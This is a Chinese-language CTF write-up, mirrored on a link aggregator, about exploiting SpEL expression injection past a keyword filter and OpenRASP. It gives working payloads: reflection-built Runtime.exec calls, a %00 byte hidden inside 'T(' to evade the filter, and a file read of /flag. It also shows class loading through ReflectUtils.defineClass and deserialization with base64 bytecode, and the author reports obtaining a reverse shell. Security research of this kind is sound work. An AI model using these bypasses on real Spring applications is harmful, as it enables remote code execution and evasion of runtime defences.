6

bypass openrasp SpEL RCE 的过程及思考

 3 years ago
source link: https://www.landgrey.me/blog/15/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

朋友发来一道 CTF 题目,考察的是 SpEL 表达式注入的利用,目的是读出固定位置 flag 文件/flag ,难点是目标机器上安装了 openrasp,并设有额外的关键词检查。

感觉挺有意思,就实际动手玩了下。

二. 测试代码

根据线上代码的测试情况,推测实际起作用的代码可能如下:

import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;

String spel = "''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'open -a Calculator')";
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
expression.getValue().toString();

三. 测试思路

二. 测试代码 在本地测试,发现很容易就能执行代码,但是在线上的实际环境中确没有执行成功。

于是粗测了下线上 openrasp 防护的环境,发现在没有进入 openrasp 层面的检查前,首先会十分暴力的直接拦截请求体中以下关键词:

ProcessBuilder
java.lang
getClass
Runtime
new
T(
#
oqguaxpj.png

所以像上文测试代码中的 ''.getClass().forName('java.la'+'ng.Ru'+'ntime') 虽然避免了 java.langRuntime 关键词,但是会因为含有 getClass 关键词而被拦截。

当然,我们依然可以使用 ''.class.getSuperclass().class.forName 替换 ''.getClass().forName 来绕过对 getClass 关键词的拦截,最终构造出来如下执行命令的代码:

''.class.getSuperclass().class.forName('java.la'%2B'ng.Ru'%2B'ntime').getMethod('ex'%2B'ec',''.class).invoke(''.class.getSuperclass().class.forName('java.la'%2B'ng.Ru'%2B'ntime').getMethod('getRu'%2B'ntime').invoke(null),'id')

当绕过关键词检查后,又触发了 openrasp 层面对执行命令的函数的检查:

jnzcyuhf.png

因为目的是读文件,所以可以先不关注命令执行。

简单分析一下,发现最致命的是拦截了 new 这个关键词,试图阻止我们创建对象实例,这样就会导致很多奇技淫巧没办法施展。

仅仅是读文件,当缺少 new 这个关键词时,在 SpEL 表达式中执行也不是那么容易。但是,我们依然可以尝试找到合适的静态方法执行代码,而绕过显示的创建对象实例这个步骤。

比如,JDK 7 及以上版本中,可以用以下代码来读取文本文件:

java.nio.file.Files.readAllLines(java.nio.file.Paths.get("/flag"), java.nio.charset.Charset.defaultCharset())

转换成 SpEL 语法:

T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/flag'), T(java.nio.charset.Charset).defaultCharset())

但是因为含有 T(关键词,还没有到 openrasp 层面就被拦截了。

我简单的尝试了在 T( 字符中间增加常见的空白字符,如空格、换行符号,无法绕过检查,所以暂时搁置了这种方法。

因此,从上文的初步测试和分析来看,绕过上文描述的系统进行 SpEL 表达式注入有两个关键点:

  • 创建一个对象实例又不被拦截(不含 new 关键词)
  • 找到合适的静态方法执行代码(同时不使用或者绕过对 T( 关键词的拦截)

四. 创建对象的六种方法

Java 中创建对象的方法大概有下面这六种:

  • 使用 new 关键字
  • Class 类的 newInstance() 方法
  • Constructor 类的 newInstance() 方法
  • Object 对象的 clone 方法
  • 反序列化创建对象
  • 使用 Unsafe 类创建对象

前三种都因为含有 new 关键词而无法使用,第四种需要借助已经生成的对象实例,所以也无法使用。

因此可以集中精力研究第5和第6中方法来创建对象:

反序列化创建对象

一个简单的从文件中进行反序列化的主要代码示例如下:

FileInputStream fis=new FileInputStream("object.ser");
ObjectInputStream ois=new ObjectInputStream(fis);
ois.readObject();

可以发现普通的反序列化即使可以通过反序列化创建对象,但是也绕不过创建 ObjectInputStream 实例时对 new 关键词的检查。

使用 Unsafe 类创建对象

Unsafe 是位于 sun.misc 包下的一个类,其中的 allocateInstance 方法可以在只提供具体类的 Class 对象的情况下用来创建类的实例对象。

正常利用代码中可以结合 defineClass 避免使用 new 关键词而直接完成类的创建和实例化:

String payload = "yv66vgAAA...";
byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(payload);
java.lang.reflect.Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);
unsafe.allocateInstance(unsafe.defineClass("Exploit", bytes, 0, bytes.length));

但是因为当前环境中没办法完成赋值操作,也执行不了多语句,所以目前这种方法也不能在上文提到的 SpEL 环境中使用。

五. 使用静态方法执行代码

上文一再提到对 T( 关键词的拦截,那是因为在 SpEL中, T 操作符可以被用来指定一个 java.lang.Class 类型的实例,同时静态方法也可以使用该运算符调用。

通俗点来讲:

  • 普通 java 代码中的 String.class 在 SpEL 表达式中可以用 T(String) 来表示;
  • A 类中的静态方法 b 在普通 java 代码中可以直接用 A.b 来调用,在 SpEL 表达式中就可以用 T(A).b 来调用

上文中提到,插入空格和换行并没有绕过对 T( 关键词的过滤,如果能够绕过,就可以使用上文中提到的静态方法直接读出 /flag 文件。

那么是否真的就绕不过去呢?于是,我 debug 了下 SpEL 解析的代码,发现在 spring-expression-5.2.5.RELEASE.jar!/org/springframework/expression/spel/standard/Tokenizer.class 中有段代码如下:

public List<Token> process() {
    while(this.pos < this.max) {
        char ch = this.charsToProcess[this.pos];
        if (this.isAlphabetic(ch)) {
            this.lexIdentifier();
        } else {
            switch(ch) {
            case '\u0000':
                ++this.pos;
                break;
            case '\u0001':
            case '\u0002':
            case '\u0003':
            case '\u0004':
            case '\u0005':
            case '\u0006':
            case '\u0007':
            case '\b':
            case '\u000b':
            case '\f':
            case '\u000e':
            case '\u000f':
            case '\u0010':
            case '\u0011':
            case '\u0012':
            case '\u0013':
            case '\u0014':
            case '\u0015':
            case '\u0016':
            case '\u0017':
            case '\u0018':
            case '\u0019':
            case '\u001a':
            case '\u001b':
            case '\u001c':
            case '\u001d':
            case '\u001e':
            case '\u001f':
            case ';':
            case 'A':
            case 'B':
            case 'C':
            case 'D':
            case 'E':
            case 'F':
            case 'G':
            case 'H':
            case 'I':
            case 'J':
            case 'K':
            case 'L':
            case 'M':
            case 'N':
            case 'O':
            case 'P':
            case 'Q':
            case 'R':
            case 'S':
            case 'T':
            case 'U':
            case 'V':
            case 'W':
            case 'X':
            case 'Y':
            case 'Z':
            case '`':
            case 'a':
            case 'b':
            case 'c':
            case 'd':
            case 'e':
            case 'f':
            case 'g':
            case 'h':
            case 'i':
            case 'j':
            case 'k':
            case 'l':
            case 'm':
            case 'n':
            case 'o':
            case 'p':
            case 'q':
            case 'r':
            case 's':
            case 't':
            case 'u':
            case 'v':
            case 'w':
            case 'x':
            case 'y':
            case 'z':
            default:
                throw new IllegalStateException("Cannot handle (" + ch + ") '" + ch + "'");
            case '\t':
            case '\n':
            case '\r':
            case ' ':
                ++this.pos;
                break;
            case '!':
                if (this.isTwoCharToken(TokenKind.NE)) {
                    this.pushPairToken(TokenKind.NE);
                } else {
                    if (this.isTwoCharToken(TokenKind.PROJECT)) {
                        this.pushPairToken(TokenKind.PROJECT);
                        continue;
                    }

                    this.pushCharToken(TokenKind.NOT);
                }
                break;
            case '"':
                this.lexDoubleQuotedStringLiteral();
                break;
            case '#':
                this.pushCharToken(TokenKind.HASH);
                break;
            case '$':
                if (this.isTwoCharToken(TokenKind.SELECT_LAST)) {
                    this.pushPairToken(TokenKind.SELECT_LAST);
                    break;
                }

                this.lexIdentifier();
                break;
            case '%':
                this.pushCharToken(TokenKind.MOD);
                break;
            case '&':
                if (this.isTwoCharToken(TokenKind.SYMBOLIC_AND)) {
                    this.pushPairToken(TokenKind.SYMBOLIC_AND);
                    break;
                }

                this.pushCharToken(TokenKind.FACTORY_BEAN_REF);
                break;
            case '\'':
                this.lexQuotedStringLiteral();
                break;
            case '(':
                this.pushCharToken(TokenKind.LPAREN);
                break;
            case ')':
                this.pushCharToken(TokenKind.RPAREN);
                break;
            case '*':
                this.pushCharToken(TokenKind.STAR);
                break;
            case '+':
                if (this.isTwoCharToken(TokenKind.INC)) {
                    this.pushPairToken(TokenKind.INC);
                    break;
                }

                this.pushCharToken(TokenKind.PLUS);
                break;
            case ',':
                this.pushCharToken(TokenKind.COMMA);
                break;
            case '-':
                if (this.isTwoCharToken(TokenKind.DEC)) {
                    this.pushPairToken(TokenKind.DEC);
                    break;
                }

                this.pushCharToken(TokenKind.MINUS);
                break;
            case '.':
                this.pushCharToken(TokenKind.DOT);
                break;
            case '/':
                this.pushCharToken(TokenKind.DIV);
                break;
            case '0':
            case '1':
            case '2':
            case '3':
            case '4':
            case '5':
            case '6':
            case '7':
            case '8':
            case '9':
                this.lexNumericLiteral(ch == '0');
                break;
            case ':':
                this.pushCharToken(TokenKind.COLON);
                break;
            case '<':
                if (this.isTwoCharToken(TokenKind.LE)) {
                    this.pushPairToken(TokenKind.LE);
                    break;
                }

                this.pushCharToken(TokenKind.LT);
                break;
            case '=':
                if (this.isTwoCharToken(TokenKind.EQ)) {
                    this.pushPairToken(TokenKind.EQ);
                    break;
                }

                this.pushCharToken(TokenKind.ASSIGN);
                break;
            case '>':
                if (this.isTwoCharToken(TokenKind.GE)) {
                    this.pushPairToken(TokenKind.GE);
                    break;
                }

                this.pushCharToken(TokenKind.GT);
                break;
            case '?':
                if (this.isTwoCharToken(TokenKind.SELECT)) {
                    this.pushPairToken(TokenKind.SELECT);
                } else if (this.isTwoCharToken(TokenKind.ELVIS)) {
                    this.pushPairToken(TokenKind.ELVIS);
                } else {
                    if (this.isTwoCharToken(TokenKind.SAFE_NAVI)) {
                        this.pushPairToken(TokenKind.SAFE_NAVI);
                        continue;
                    }

                    this.pushCharToken(TokenKind.QMARK);
                }
                break;
            case '@':
                this.pushCharToken(TokenKind.BEAN_REF);
                break;
            case '[':
                this.pushCharToken(TokenKind.LSQUARE);
                break;
            case '\\':
                this.raiseParseException(this.pos, SpelMessage.UNEXPECTED_ESCAPE_CHAR);
                break;
            case ']':
                this.pushCharToken(TokenKind.RSQUARE);
                break;
            case '^':
                if (this.isTwoCharToken(TokenKind.SELECT_FIRST)) {
                    this.pushPairToken(TokenKind.SELECT_FIRST);
                    break;
                }

                this.pushCharToken(TokenKind.POWER);
                break;
            case '_':
                this.lexIdentifier();
                break;
            case '{':
                this.pushCharToken(TokenKind.LCURLY);
                break;
            case '|':
                if (!this.isTwoCharToken(TokenKind.SYMBOLIC_OR)) {
                    this.raiseParseException(this.pos, SpelMessage.MISSING_CHARACTER, "|");
                }

                this.pushPairToken(TokenKind.SYMBOLIC_OR);
                break;
            case '}':
                this.pushCharToken(TokenKind.RCURLY);
            }
        }
    }

    return this.tokens;
}

上面的代码在解析字符时,将空格字符和 \u0000 字符当成了空白符号,遇到就会 ++this.pos,所以,直接尝试在 T( 字符中间插入 %00 ,然后成功进行了绕过。

使用前面提到的静态方法读文件的代码,在 T( 字符串中间插入 %00 字符绕过关键词检查,openrasp 也没有拦截正常的读文件方法,所以可以成功读取文件:

kvgdcswl.png

到这里测试的目的就达到了,不过光读文件还是不太好,最好是能够执行任意代码,达到命令执行的效果。

结合上面讲到的反序列化创建对象的方法,可以用 spring 自封装的静态方法 org.springframework.util.SerializationUtils.deserialize,在规避 new 关键词的同时反序列化执行代码,再结合 base64 的静态方法,具体 SpEL 表达式可写为:

T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))

这样,把反序列化数据用 base64 编码后就可以用 SpEL 执行了,实际测试可以执行 URLDNS 的反序列化 payload:

kozcbayl.png

虽然方法可行,但是在实际环境中大概试了几个常用反序列化 gadget,发现没成功, 不清楚是环境中没有相关 gadget 还是被 openrasp 拦截了,也就没继续测试下去。

六. 绕过 openrasp 执行自定义代码

本篇文章到此就应该结束了,但是奈何我又突然想起设计模式中的一个知识点: 饿汉式单例模式 ,按照我们的需求,它可以简化成下面这样的代码:

public class Singleton {
    private static Singleton s = new Singleton();

    private Singleton() {
        ......
    }

}

由于设置了 static 类型的类属性 Singleton s = new Singleton(),再结合类加载的知识,那么只要加载 Singleton 类,jvm 就会自动帮我们 new Singleton() 实例化,所以只要把恶意代码写在默认的类构造器中,就不需要显示的实例化类,也能执行我们的代码了。当然,直接使用更为熟悉的 static{} 代码块也有相同的效果。

既然突破了创建对象这一关,剩下的就是想办法加载我们的恶意类了。

功夫不负有心人,结合上面提到的使用静态方法执行代码的技巧,我找到 spring 中的一个关键类 org.springframework.cglib.core.ReflectUtils,其中有个 defineClass 静态方法:

public static Class defineClass(String className, byte[] b, ClassLoader loader) throws Exception {
    return defineClass(className, b, loader, PROTECTION_DOMAIN);
}

方法需要传入 类名类的字节码字节数组类加载器 就可以成功的加载恶意类,完美符合我们的要求。

在构造代码时,为了方便我又在 spring 中找了一个获取 ClassLoader 的静态方法 org.springframework.util.ClassUtils.getDefaultClassLoader(),然后构造的 SpEL 表达式:

T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())

最后,结合 %00 绕过对 T( 关键词的过滤,执行了自定代码,成功的绕过 openrasp 反弹 shell:

gaqzwnir.png

本文详细记录了对 SpEL 代码执行环境中关键词检查的分析及绕过过程,并通过静态方法读取了目标 flag 文件;

最后结合 static 关键词的特点和 java 类加载特性,没有使用 new 关键词在 SpEL 中实现了类的实例化,利用类加载绕过 openrasp 成功执行了自定义代码。

八. 参考文章

Spring 表达式语言 (SpEL)

Java创建对象的第6种方式

Java魔法类:Unsafe应用解析


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK